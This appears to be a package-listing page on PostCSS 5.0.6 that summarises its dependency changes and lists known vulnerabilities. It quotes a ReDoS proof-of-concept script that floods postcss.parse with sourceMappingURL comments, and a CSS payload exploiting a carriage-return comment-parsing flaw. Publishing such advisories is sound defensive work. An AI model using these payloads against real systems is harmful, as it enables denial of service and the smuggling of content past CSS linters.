PostCSS version 5.0.6 represents a subtle but important update over its predecessor, 5.0.5, in the landscape of CSS transformation tools. Both versions maintain the core functionality of transforming styles using JavaScript plugins, empowering developers to automate and enhance their CSS workflows. The dependency structure remains largely consistent, relying on packages like js-base64, source-map, and supports-color for core operations.
However, the changes lie primarily in the development dependencies. While most dev tools versions are nearly identical, subtle upgrades hint at internal improvements and refinements. Key updates affect tools crucial for development: chai moves from 3.2.0 to 3.3.0, eslint progresses from 1.4.1 to 1.5.0, babel-core goes from 5.8.24 to 5.8.25, babel-eslint bumps from 4.1.1 to 4.1.3, run-sequence gets updated from 1.1.2 to 1.1.3 and postcss-parser-tests goes from 5.0.3 to 5.0.4. These upgrades likely incorporate bug fixes, performance enhancements, and compatibility adjustments within the PostCSS development environment. Specifically, updates in eslint and babel-eslint suggest improvements in code linting and ES6+ syntax support, creating a smoother developer experience. The update of chai to 3.3.0 indicates improvements in assertion library enhancing the testing process. These incremental changes are important for stability of the tools. Version 5.0.6 was released approximately nine days after 5.0.5, highlighting its role as a quick succession patch.
All the vulnerabilities related to the version 5.0.6 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.